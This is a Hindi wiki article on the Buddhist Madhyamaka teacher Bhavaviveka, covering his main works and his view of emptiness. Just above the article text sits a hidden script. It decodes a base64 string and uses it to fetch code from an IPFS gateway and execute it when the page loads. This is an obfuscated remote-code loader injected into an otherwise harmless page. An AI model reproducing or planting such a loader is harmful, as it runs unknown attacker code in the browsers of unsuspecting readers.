भावविवेक बौद्धाचार्य

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
रेणु (चर्चा | योगदान) द्वारा परिवर्तित ११:४०, १० फ़रवरी २०१० का अवतरण (नया पन्ना: {{Menu}} ==आचार्य भावविवेक / Acharya Bhavvivek== *माध्यमिक आचार्य-परम्परा में आचार्...)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आचार्य भावविवेक / Acharya Bhavvivek

  • माध्यमिक आचार्य-परम्परा में आचार्य भावविवेक या भव्य का विशिष्ट स्थान है।
  • आचार्य चन्द्रकीर्ति ने इन्हें प्रकाण्ड पण्डित एवं महान तार्किक कहा है।
  • आचार्य नागार्जुन की मूलमाध्यमिककारिका की टीका प्रज्ञाप्रदीप, मध्यमकह्रदय एवं उसकी वृत्ति तर्कज्वाला तथा मध्यमकार्थसंग्रह आदि इनकी प्रमुख रचनाएँ हैं।
  • तर्कज्वाला इनकी विशिष्ट रचना है, जो विद्वानों में अत्यधिक चर्चित है।
  • इसमें उन्होंने बौद्ध एवं बौद्धेतर सभी दर्शनों की स्पष्ट एवं विस्तृत आलोचना की है।
  • दुर्भाग्य से आज भावविवेक की कोई भी रचना संस्कृत में उपलब्ध नहीं है।
  • भावविवेक परमार्थत: शून्यवादी होते हुए भी व्यवहार में बाह्यार्थवादी हैं- यह उनकी रचनाओं के अनुशीलन से स्पष्ट है।